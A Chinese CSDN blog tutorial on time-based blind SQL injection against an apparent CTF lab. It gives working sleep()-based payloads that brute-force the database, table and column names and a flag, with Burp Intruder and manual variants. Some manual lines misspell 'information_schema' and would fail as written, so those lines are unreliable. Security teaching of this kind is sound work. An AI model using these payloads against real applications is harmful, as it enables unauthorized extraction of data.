sql注入之时间盲注

文章详细介绍了如何利用sqlmap和Burp进行SQL注入,包括时间盲注的原理和构造,以及如何通过构造特定payload来逐步爆破数据库名、表名、列名和数据内容。作者强调了手动时间盲注的复杂性和不推荐性,提倡使用工具辅助。
摘要由CSDN通过智能技术生成

sql注入的整型字符型注入,联合注入,报错注入以及布尔盲注可参考,往期。

https://blog.csdn.net/weixin_46954909/article/details/136262984?spm=1001.2014.3001.5502

(一)使用sqlmap进行注入。

(二)利用burp实现半自动注入。

(三)时间盲注之手工注入(极不推荐)

检测出有时间盲注。

最好就可以得到flag了。

(二)利用burp实现半自动注入。

1.注入条件:

输入:1发现什么提示信息都没有,这就是典型的时间盲注,与布尔盲注不同的是,他什么提示都没有。

2.构造语句

1 and if(1=1,sleep(5),1)

1 and if(1=2,sleep(5),1)

爆数据库长:

1 and if(length(database())=4,sleep(5),1)

爆数据库名:

1 and if(ascii(substr(database(),1,1))=100,sleep(5),1)

爆表长:

1 and if((length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1),sleep(8),1)

爆表名

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=102,sleep(5),1)

爆列长:

1 and if((length((select column_name from information_schema.columns where table_name='flag' limit 0,1))=4),sleep(5),1)

爆列名:

1 and if((ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))=102),sleep(5),1)

爆数据长度:

1 and if((length((select flag from sqli.flag limit 0,1))=32),sleep(5),1)

爆数据库内容:

1 and if((ascii(substr((select flag from sqli.flag),1,1))=102),sleep(5),1)

注:爆前最好去确认一遍是否可行。

得到库名:sqli

表长为4,(这里我想引入一个知识关于判断有多少个表可以把table_name改为count(table_name)即可,小插曲无视即可)


得到表名:flag,根据此操作可以得到其他表的名字只需要修改黄色部分即可

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=102,sleep(5),1)

因为之前设置的payload不变所以不用管他直接start。

所以列名为:flag

所以长度为32

记得勾上最下面的这个

因为有可能会包含{}等。

最后将ascii码转为字母即可。注意这可能会有数字,所以一般从1开始到127这样基本万无一失。

或者更简单的。

然后加上{}和选择0-9,因为flag中一般是有{},数字的

然后组合就可以了,相较与手工还是比较快速的。

(三)时间盲注之手工注入(极不推荐)

1.注入类型判断:

输入:1发现什么提示信息都没有,这就是典型的时间盲注,与布尔盲注不同的是,他什么提示都没有。

2.构造注入语句。

1 and if(1=1,sleep(5),1)

1 and if(1=2,sleep(5),1)

然后确定可行性后就进行确定库名的长度。

1 and if(length(database())>1,sleep(5),1)

1 and if(length(database())=4,sleep(5),1)

之后确定长度开始爆库。

1 and if(ascii(substr(database(),1,1))>100,sleep(5),1)

1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)

1 and if(ascii(substr(database(),2,1))=113,sleep(5),1)

1 and if(ascii(substr(database(),3,1))=108,sleep(5),1)

1 and if(ascii(substr(database(),4,1))=105,sleep(5),1)

得到库名:sqli,开始爆表名的长度。

1 and if((length((select table_name from information.schema.tables where table_schema=database() limit 0,1))>1),sleep(5),1)

1 and if((length((select table_name from information.schema.tables where table_schema=database() limit 0,1))=4),sleep(5),1)

得到表名长为4

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))>100,sleep(5),1)

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=102,sleep(5),1)

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),2,1))=108,sleep(5),1)

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),3,1))=97,sleep(5),1)

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),4,1))=103,sleep(5),1)

得到表名:flag,开始爆列长度。

1 and if((length((select column_name from information.schema.columns where table_name='flag' limit 0,1))>1),sleep(5),1)

1 and if((length((select column_name from information.schema.columns where table_name='flag' limit 0,1))=4),sleep(5),1)

得到表长为4

1 and if((ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))>100,sleep(5),1)

1 and if((ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))=102,sleep(5),1)

1 and if((ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),2,1))=108,sleep(5),1)

1 and if((ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),3,1))=97,sleep(5),1)

1 and if((ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),4,1))=103,sleep(5),1)

得到列名:flag,最后爆信息。

1 and if((length((select flag from sqli.flag limit 0,1))>1),sleep(5),1)

1 and if((length((select flag from sqli.flag limit 0,1))=32),sleep(5),1)

然后可以知道长度为32

略。

如果1=1那么加载就延迟5s,否则就直接加载,这里如果想效果更明显能把5改为8.

略了测试长度

略。

  • 36
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值